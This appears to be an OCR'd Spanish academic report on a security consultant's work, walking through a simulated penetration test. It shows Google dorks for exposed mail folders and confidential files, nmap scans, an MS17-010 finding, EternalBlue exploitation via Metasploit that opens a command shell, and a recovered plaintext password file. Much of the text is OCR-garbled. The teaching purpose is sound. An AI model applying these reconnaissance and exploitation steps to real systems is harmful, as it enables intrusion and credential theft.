username/password, 1939-2011 Acceso IP. Sin password. 4, CARIES
RESEARCH, Electronice, 6 por afio, No access registration, 2007-2010

Acceso IP. Sin password. 5, CLINICAL ORAL

%3 passward - HubSpot

Traducir esta pagina
13. 14, The username for most account is the email address, however on some cases there is an actual
username. For Twitter login you can use the email or your username (@business) . Just make sure
you take out the @ sign. 15. 16. 17, Password. 18, This is important! Passwords are like the golden
ticket for accounts

sl email address from username - Moodle.ora
= Traducir esta pagina

Figura. 4.1 Uso de dorks en Google

Es posible, haciendo uso de dorks, encontrar informacion sensible tales como carpetas,
archivos de configuracion e inclusive hasta un listado de correos electronicos, permitiendo

a un atacante externo conocer informacién acerca de la empresa.



Pagina |31

Iniciar sesion

Go gle intitle index of /maildir/new/ 4 Q

Todo Imagenes Videos Noticias Shopping Mas Preferencias Herramientas
Cerca de 208 resultades (0 38 segundos)

Sugerencia: Buscar solo resultados en espaiiol . Puedes especificar el idioma de biisqueda en
Preferencias

Index of /Maildir/new - Jaquelina Livieri

N L.
Index of /Maildirinew. Parent Directory - 1388594067.V811110a4eb307M215687 .ps 186774
1388697322 V811110af4b23cM271469 ps186774 - 1388704495 VE1111000e741aMB840554 ps186774 -
1385704495.V811110af52537M43349.ps186774 - 1389134058.V811110c9fb334M435789.ps 186774
Apache Server at

Index of /Maildir/new - Gas in a flash
F, & e ¥ Traducir esta pagina
Index of /Maildirinew. Parent Directory.

Index of /Maildir/new - Parent Directory

= - = Traducir esta pagina
Index of Maildirinew. [ICO], Name - Last modified - Size - Description. [PARENTDIR], Parent Directory,
- [, 1471289414 Vfc00128008bM428743 ec-moodle1.wrdsb.ca, 2016-08-15 15:30, 2.7K. Apache
Server at moodle.wrdsb.ca Port 80

Index of /Maildir/new - iutll

- = - w
Index of Maildirnew. [ICO], Name - Last modified - Size - Description. [PARENTDIR], Parent Directory,
- [ ], 1468976338.Vfc00Ic169M342163 server-web, 2017-06-15 15:54, 3.7K. Apacher2.4.7 (Ubuntu)
Server atiutllanes tec ve Port 80

Figura. 4.2 Uso de dokers en Google

GO gle ext: ( pdf | xIs ) confidencial Q

Todos Noticias Imagenes Videos Maps Mas Preferencias Herramientas

Cerca de 519,000 resultados (0.34 segundos)

PPl confidencial - Comision Latinoamericana de Aviacion Civil - ICAO
clacsec lima.icao int/Reuniones/2007/FALAVSEC/NE/FALAVSECNEQ4F T pdf =

25 jul. 2007 - Como se recordard, de conformidad al Plan Estratégico aprobado por la XVIl Asamblea de
la CLAC (Ciudad de Panama, Panamd, 6 al 9 de noviembre de 2006), durante el GEPEJTA/19 (Rio de.
Janeiro, Brasil, 25 al 27 de abril de 2007) la Delegacidn de Bolivia, en su calidad de Punto Focal,
propuso.

version publica del acuerdo p/ift/ext/080916/21 de la sesion del pleno ...
www.ift.org. mi/sites/default/files/conocenos/pleno/. . /iverspub2ucepiftd8091621.pdf

15 abr. 2016 - contener informacién Confidencial. ... Confidenciales. P/IFT/EXT/080916/21 Acuerdo
mediante el cual el. Pleno del Instituto Federal de. Telecomunicaciones responde a la consulta
presentada por . 2 Disponibles en http:/www ift org;mx/sites/defaultfiles/contenidogeneral/temas-
relevantes/elementos.pdf.

PPflyersion publica del acuerdo p/ift/ext/131016/25 de la sesion del pleno...
apps.ift.org. mx/publicdata/Version_Publica_UCE_P_IFT_EXT_131016_25 pdf

28 ene. 2016 - Confidenciales. PAFT/EXT/131016/25 Resolucién mediante la cual el. Pleno del
Instituto Federal de. Telecomunicaciones emite opinidn en materia de. Competencia ...
htto-/fwwwlft org. me(sites/default ffiles/contenidogeneral/temas-relevantes/piftext280 1 |
B4cmodelostifsreducida.pdf. La clausula 13 de ...

Figura. 4.3 Uso de dokers en Google

Al realizar una recoleccién de informacion es posible encontrar acceso a portales de
administracion o a consolas de configuracion, las cuales podrian ser uno de los principales

vectores de ataque.
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< C  ® Noesseguro | B

ORACLE
WebLogic Server® 11g

Administration Console

Bienvenido

Conéctese para trabajar con el dominio de WebLogic Server.

Usuario:
X

Figura. 4.4 Portal pablico de consola de administracion

Parte del analisis externo es obtener informacion de todos aquellos portales publicos
accesibles desde Internet pertenecientes al cliente y que puedan ser objetivo de un atacante.
Una vez obtenida la lista de dispositivos se realiza un reconocimiento acerca de las
tecnologias con las que cuenta, configuraciones por defecto, puertos abiertos (véase figura
4.5), dispositivos vy sitios relacionados, nombres de dominio y de ser posible informacion

acerca de contactos de confianza de la empresa.

TGTAL RESULTS

882330

jlyStation&nbsp;-&nbsp;Synology&nbsp;DiskStation 7'
HTTF{1.T 260 0K

L Server: ngine

o SL0107 1347 ) BT Date: Man, 07 Jan 2079 03:31:31 &7

il Saintnicolas-de-port Content-Type: text/htul, charset="UTF-§"

g 0 Transfer-Eneading: chunked

Connection: keep-alive

Keep-Alive: timeout=20

Wary: hceept-Encoding

Cache-cantrol: no-store

H-Content-Type-Options: nosniff
A-¥S5-Protection: 1, mede=tlo. .

thira a2
:mﬁ o ZZ? 2 IMMO-server&nbsp;-Enbsp; Synology&nbsp; DiskStation (&

= Ris : : » S8l Certicate HTRAL1 200 0
United States 51,731 it

lsued By Server: nging
Date: Hon, ©7 Jan 2915 433712 &7
Content-Type: text/htnd; charset="UTF-4"

I Comman Hame: Synclogy hc. G4
} Diganizafion: ~ Synclogy .

Synoay 431 0 e Transfer-Encoding: chunked
Isued To
Syndlogy ikl Connection: keep-alive
¥TPs ngs Ffommantame spebaeon Keep-ALives tinemst=2p
WP 3zt  Onganzation: - Syaclogy e Cathe-tantrl: mo-store
fGconn 384 Supported SSL Versions i-Content-Type-Options: mosniff
TLSV1, TLSW1.1, TLS¥12 E-S-Fratection: 1; wode=tlock
0P REANZATIONS E-Frane-Options: SA...
Dautsche Teekon 45 100225
Hitlt g
E193.168.95.86
Orenge. 34580

Figura. 4.5 Ejemplo de busqueda publica
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En el caso de portales publicos es de interés del consultor validar posibles inyecciones
de cddigo en aplicaciones que puedan comprometer la confidencialidad, integridad o
disponibilidad, asi como la reputacion de una empresa. En la figura 4.6 se puede apreciar
una inyeccién de codigo en una pagina web, en donde un atacante podria comprometer la
imagen de la empresa, obtener acceso a bases de datos con informacion sensible de clientes,
acceso desde configuraciones por defecto, suplantacion de identidad de la empresa o

usuario.

(€)= X @ Oa L P -~ U IN@D =

Validacion Cross Site Scripting

Figura. 4.6 Validacion de inyeccion de cédigo en portal

4.2 Analisis interno

Esta fase se lleva a cabo en la red interna de la empresa, con el afan de detectar posibles
brechas de seguridad que permitan comprometer la integridad de la empresa, desde el
funcionamiento de la red interna, funcionamiento de equipos o informacion confidencial,
basicamente la realizacion de este ejercicio tiene como objetivo simular a algin atacante

interno y prever el riesgo dentro de la institucion.

Muchas veces las empresas cuentan con sistemas operativos obsoletos lo cual les hace

susceptibles a una serie vulnerabilidades que podrian comprometer el nivel de operacion,
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debido a que pueden ser blanco de una serie de ataques tales como denegacién de servicio,

inyeccion de codigo o bien brindar un acceso remoto a un atacante.

En el caso de las pruebas de negra es de suma importancia descubrir la arquitectura de la
red en la que se esta trabajando, es decir, encontrar los segmentos de red dentro de la

empresa, asi como los activos que pertenecen a los mismos.

Para conocer algunos de los segmentos que conforman la red, llevado a cabo su

descubrimiento con herramientas como tracert o Nmap.

La herramienta traceroute es utilizada para realizar un diagnostico de redes, debido a que
permite realizar un seguimiento de los paquetes que se envian desde el host destino al host
origen, en el sistema operativo Windows es posible hacer uso de esta herramienta
utilizando el comando tracert mientras que en sistemas como Unix, Mac y GNU/Linux es

posible encontrarla como traceroute.

En la figura 4.7 se muestra la ejecucion de esta herramienta, asi como las opciones con

las que cuenta para obtener informacion relacionada a los segmentos de red.

Figura. 4.7 Ejemplo comando tracert

Dependiendo de la arquitectura de red es posible que haciendo uso de esta herramienta
se encuentren segmentos internos de la red, debido a que nos permite identificar la serie de

saltos de forma interna antes de llegar a la salida a Internet.
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Una vez proporcionada la informacion de la red por parte de la empresa a evaluar
“Empresa X”, se obtiene una direccion IP dentro del segmento, se identifica si hay algun
servicio de DHCP activo o bien se establece una direccion estatica que permita la

comunicacion con los deméas equipos.

~# ip a
1: lo: <LOOPBACK,UP,LOWER UP> mtu 65536 gqdisc noqueue state UNKNOWN group default qlen
1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid 1ft forever preferred 1ft forever
inet6 ::1/128 scope host
valid 1ft forever preferred 1ft forever

2: etho: <BROADCAST,MULTICAST,UP,LOWER UP> mtu 1500 qdisc pfifo fast state UP group de
ault qlen 1000
link/ether 00:0c:29:7e:6f:a6 brd ff:ff:ff:ff:ff:ff
inet 192.168.47.140/24 brd 192.168.47.255 scope global dynamic noprefixroute etho
valid (7t 1766sec preferred 1ft 1766sec
inet6 fe80::20c:29ff:fe7e:6fa6/64 scope link noprefixroute
validwkft forever preferred 1ft forever

Figura. 4.8 Asignacion de Direccion IP

Es necesario identificar los equipos activos dentro de la red, en este caso se parte de un
segmento de red192.168.47.0/24 para encontrar aquellos equipos que estén activos y poder
determinar también los servicios con los que cuentan, para ello se realiza un escaneo de red

y de equipos.

Durante esta fase es importante reconocer los servicios que se encuentran corriendo de
los dispositivos, para ello es importante conocer los puertos y el estado en el que se
encuentran, con la herramienta de Nmap como se muestra en la figura 15 podemos realizar
un escaneo especifico para encontrar servicios haciendo uso del filtrado por puertos con el

objetivo de detectar posibles vectores de ataque

En la siguiente figura (véase figura 4.9) se puede visualizar el uso de la herramienta
Nmap desde comandos, muestra el escaneo que se realiza a un segmento de red
10.10.10.0/25 con el afan de detectar todos los hosts activos, asi como informacién de cada

uno de ellos.
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root@kali:~# nmap -sn -n 10.10.10.% -vv

Starting Nmap 7.60 ( https://nmap.org ) at 2018-04-25 18:52 EDT
Initiating Ping Scan at 18:52
Scanning 256 hosts [4 ports/host]
Completed Ping Scan at 18:52, 3.09s elapsed (256 total hosts)
Nmap scan report for 10.10.10.0
Host is up, received reset ttl 128 (0.8813s latency).
Nmap scan report for 10.10.10.1
Host is up, received echo-reply ttl 128 (8.8871s latency).
Nmap scan report for 10.10.10.2
Host is up, received reset ttl 128 (0.00019s latency).
Nmap scan report for 10.10.10.3
Host is up, received reset ttl 128 (0.00025s latency).
Nmap scan report for 10.10.10.4
Host is up, received reset ttl 128 (8.823s latency).
Nmap scan report for 10.10.10.5
Host is up, received reset ttl 128 (0.0014s latency).
Nmap scan report for 10.10.10.6
Host is up, received reset ttl 128 (0.00873s latency).
Nmap scan report for 10.10.10.7
Host is up, received reset ttl 128 (8.823s latency).

scan report for 18.10.

D - - =0 - -

Figura. 4.9 Ejemplo escaneo de dispositivo haciendo uso de Nmap desde comando

En esta tabla se muestra la descripcién de cada una de las banderas utilizadas en la

herramienta Nmap y su descripcion:

Opcion Descripcion

-sS Permite realizar un sondeo sigiloso de puertos debido a
que no a completa las conexiones por TCP, no obstante
muestra el estado de la conexion.

-Pn Permite realizar un descubrimiento de sistemas
omitiendo las respuestas por paquetes de ICMP

-n Es utilizado para agilizar el escaneo debido a que omite
la resolucién inversa por DNS para cada una de las
direcciones IP activas.

-V Imprime mas informacion acerca de la ejecucion de la

herramienta, tal como estimacién de tiempo

Tabla. 4.1 Descripcion de banderas de Nmap

En la figura 4.10 se visualiza informacion de puertos abiertos en un host con direccion
IP 192.168.47.158 que fue escaneado haciendo uso de la herramienta Nmap, como se
muestra la figura se visualizan puertos activos y no clasificados dentro del rango de los bien

conocidos.
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Starting Nmap 7.70 ( https://nmap.org ) at 2019-08-01 18:36 EDT
Pre-scan script results:

| broadcast-avahi-dos:

| Discovered hosts:

| 224.0.0.251

| After NULL UDP avahi packet DoS (CVE-2011-16002).
| Hosts are all up (not vulnerable).

Nmap scan report for 192.168.47.148

Host is up (0.00090s latency).

Not shown: 990 closed ports

PORT STATE SERVICE

135/tcp  open msrpc

139/tcp open netbios-ssn

445/tcp open microsoft-ds

5357/tcp open wsdapi

49152/tcp open unknown

49153/tcp open unknown

49154/tcp open unknown

49155/tcp open unknown

49156/tcp open unknown

49157/tcp open unknown

MAC Address: 00:0C:29:9B:CB:83 (VMware)

Host script results:
| samba-vuln-cve-2012-1182: NT STATUS ACCESS DENIED

Figura. 4.10 Recoleccién de informacion

Una vez recolectada la informacion, en los equipos de interés se realiza un analisis
de vulnerabilidades para determinar cual seria el mejor vector de ataque posible. Tal y
como se muestra en la figura 4.11, tras realizar el analisis de vulnerabilidades el objetivo

muestra que tiene la vulnerabilidad MS17-010.

49156/tcp open unknown
49157 /tcp open unknown
MAC Address: 00:0C:29:9B:CB:83 (VMware)

Host script results:
| samba-vuln-cve-2012-1182: NT_STATUS ACCESS DENIED
| smb-vuln-ms10-054: false
| smb-vuln-ms10-061: NT STATUS ACCESS DENIED
| smb-vuln-ms17-010:
VULNERABLE:
Remote Code Execution vulnerability in Microsoft SMBv1l servers (msl17-010)
State: VULNERABLE
IDs: CVE:CVE-2017-0143
Risk factor: HIGH
A critical remote code execution vulnerability exists in Microsoft SMBv1l

Disclosure date: 2017-03-14

References:
https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wanna

I
I
I
I
I
|
| servers (msl7-010).
I
I
|
I
I
I

Figura. 4.11 Andlisis de vulnerabilidades

Al realizar el andlisis de vulnerabilidades se detecto presenté la vulnerabilidad MS17-

010 la cual fue un caso relevante en 2017, esta vulnerabilidad se encontré en segmentos de
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red pertenecientes a la “Empresa X”, dicha vulnerabilidad fue un caso alarmante durante
2017, la cual fue expuesta por el grupo de cibercriminales ‘The Shadow Brokers’, quienes
se encargaron de liberar una serie de exploits publicos permitiendo a cualquier persona con
Internet poder explotar estas vulnerabilidades. La vulnerabilidad MS17-010 que permite a
los exploits conocidos como EternalBlue, EternalChampion, EternalRomance,
EternalSynergy, WannaCry, EternalRocks o Petya, vulnerar sistemas Windows, en tan solo
tres dias logro afectar a mas de 200,000 sistemas en mas de 150 paises, por ello como parte
de la labor del consultor de seguridad es de suma importancia estar en constante

actualizacion acerca de las posibles brechas que surgen dia a dia.

En las pruebas realizadas como analisis interno, se llevo a cabo la validacién de esta
vulnerabilidad haciendo uso de la herramienta Metasploit, la cual en la figura 4.12 se
muestra el como se realizd la validacion de la vulnerabilidad MS17-010 haciendo uso de la
herramienta Metasploit y se visualiza que el equipo cuenta con dicha vulnerabilidad

presente.

msf5 auxiliary( / ) > set RHOSTS 192.168.47.148
RHOSTS => 192.168.47.148
msf5 auxiliary( ) > run

[+] 192.168.47.148:445 - Host is likely VULNERABLE to MS17-010! - wWindows 7 Home Bas
ic 7600 x64 (64-bit)

[*] 192.168.47.148:445 - Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

Figura. 4.12 Validacion de MS17-010 con herramienta Metasploit

Haciendo uso de esta se compromete el equipo con la vulnerabilidad MS17-010 con el

afan de obtener un acceso y posteriormente hacerlo persistente.

En la figura 4.13 podemos visualizar como en uno de los equipos se logra acceder a la
terminal de Windows haciendo uso de Metasploit para obtener acceso haciendo uso de la

vulnerabilidad presente.
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192.168.47.148:445 0x00000010 61 73 69 63 20 37 36 30 30 a
7600

192.168.47.148:445 Target arch selected valid for arch indicated by DCE/RPC reply
192.168.47.148:445 - Trying exploit with 12 Groom Allocations.
192.168.47.148:445 Sending all but last fragment of exploit packet
192.168.47.148:445 Starting non-paged pool grooming
192.168.47.148:445 Sending SMBv2 buffers

.168.47.148:445 Closing SMBv1l connection creating free hole adjacent to SMBv2

.168.47.148:445 Sending final SMBv2 buffers.
.168.47.148:445 Sending last fragment of exploit packet!
.168.47.148:445 Receiving response from exploit packet
.168.47.148:445 ETERNALBLUE overwrite completed successfully (0xC00000OD)!
.168.47.148:445 Sending egg to corrupted connection.
.168.47.148:445 - Triggering free of corrupted buffer.
Command shell session 1 opened (192.168.47.140:4444 -> 192.168.47.148:49160) at 201
18:54:13 -0400
.168.47.148:445 - =-
.168.47.148:445 - =-
.168.47.148:445 -

C:\Windows\system32>whoami
whoami

Figura. 4.13 Obteniendo acceso al sistema vulnerable

Una de las principales actividades es encontrar informacién dentro de los equipos para
determinar el impacto del ataque, como se muestra en la figura 4.14 en la carpeta de
documentos del usuario “Prueba” se muestra el listado de archivos, entre ellos un | con
contrasefias y que no se encuentra cifrado, brindando informacion de servicios y usuarios

dentro de posibles servidores.

Directorio de C:\Users\Prueba\Documents

17257 <DIR>

17:57 <DIR> e

17:56 <DIR> Archivos Nomina

17257, <DIR> Clientes Empresa

17:58 72 Contrasenia.txt

1757 <DIR> Informaci®n confidencial
1 archivos 72 bytes
5 dirs 52.192.555.008 bytes libres

C:\Users\Prueba\Documents>type Contrasenia.txt
type Contrasenia.txt

armando:armando1905

carla:carlal9o6

enrique:enriquel907

192.168.47.1
admin:admin
SQL: admin:admin2019

Figura. 4.14 Informacion sensible recabada
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En este ejercicio de simulacion se muestran solo algunas de las fases de la metodologia
que se utilizan con meros objetivos demostrativos, debido a que un ejercicio de pentest es
méas complejo y depende mucho del analisis del consultor, asi como de la dificultad que

posea la infraestructura de red.
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5. Resultados

Actualmente México necesita crear una estrategia de ciberseguridad para hacer frente a
cada uno de los incidentes que podrian presentarse y la labor de un consultor de seguridad
informatica permite a las empresas encontrar las posibles brechas de seguridad que podrian
ser utilizadas por un atacante para afectar la imagen y credibilidad de una empresa. Es
responsabilidad de un consultor de seguridad estar en constante actualizacion acerca del

desarrollo de las tecnologias.

Como parte de las pruebas realizadas en los sectores publicos y privados es posible
detectar que la mayoria de los casos el contar con expertos en materia de seguridad expone
a los usuarios y a las operaciones del negocio, teniendo como principal reto el incorporar el
servicio de seguridad tanto de forma interna y externa (auditorias) para estar a la
vanguardia. Si bien es cierto que no es posible contar con cien por ciento de seguridad es
importante para el consultor tratar de cubrir la mayoria de los escenarios o al menos los mas

criticos en la infraestructura de alguna empresa.
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6. Conclusiones

Durante el desarrollo del presente documento se dio a conocer acerca de las actividades
desempefiadas en una institucion orientada a brindar servicios de seguridad informética, asi

como las actividades a realizar por parte de un consultor de seguridad informatica.

En el desarrollo del proyecto se utilizd la metodologia PTES orientada a describir los pasos
necesarios para realizar una prueba de penetracion que permita plasmar los hallazgos en un
informe en donde se debe dar relevancia a los hallazgos de seguridad a los cuales se
encuentra expuesta una institucion, definiéndolos con base a una evaluacion posibles
riesgos y uso de métricas utilizadas para hacer frente a las deficiencias de seguridad con las

que se cuente dentro de una institucion.

En el ambito de seguridad se requieren personas que su conocimiento sea trasversal en
todas las areas tales como sistemas operativos, bases de datos, lenguajes de programacion,
redes de datos, normativas, leyes, lo cual le permitird brindar soluciones integrales de
aporte real y tangible, ademéas de tener un dominio integral en cual sea el enfoque de
seguridad que se asuma. Debido a que hablar de seguridad es transversal, la carrera brinda

una capacitacion en diversos ambitos de tecnologia brindando al alumno las bases
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necesarias para ejercer su profesién en cualquiera de las areas de tecnologia que se

desempefie.

En el caso de un consultor de Seguridad Informatica, las actividades realizadas que se
expresan en el presente escrito plasman que es necesario contar con una serie de
conocimientos que no se limitan Unicamente a un area de tecnologia, sino que requiere de
una formacion solida en diversas areas. ElI haberme desempefiado durante una temporada
realizando estas actividades, me brindd un panorama general de las necesidades actuales
enfocadas a la seguridad informatica, asi como las diversas lineas que se pueden seguir para
estar en constante capacitacion. Descubri que uno de los principales retos es la constante
actualizaciéon debido a que el surgimiento de nuevas vulnerabilidades es al dia lo cual
conlleva a tener un pensamiento analitico y critico para poder encontrar una posible

solucién a las brechas detectadas.

Es importante sefialar que actualmente se cuenta con una deficiencia de personas
expertas en materia de seguridad, asi como una cultura de concientizacion a los usuarios,
pues en gran parte de los casos los usuarios suelen ser el eslab6n méas débil dentro de la
cadena, debilitando asi los esfuerzos que se hagan por parte del area de seguridad de cada

empresa.
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/. Anexos

7.1 Glosario

e Backdoor: Por su traduccién en inglés se define como puerta trasera. Permite el
acceso a un sistema a un atacante, brindando la posibilidad de manipular el equipo
en su totalidad.

e Exploit: Es un software malicioso que hace uso de las vulnerabilidades presentes en
un equipo para controlar o infectar un sistema.

e Command and control: Mediante el uso de un servidor central es utilizado para
controlar otros dispositivos, en la mayoria de estos casos es utilizado por malware.

¢ Rootkit: Herramientas de malware que tienen como principal objetivo brindar el

control de forma remoto a un dispositivo.

7.2 .Diccionario

e MBR: Master Boot Record

e TI: Tecnologias de la informacion

e PTES: Penetration Testing Execution Standard
e WAF: Web Applcation Firewall

e |P: Internet Protocol
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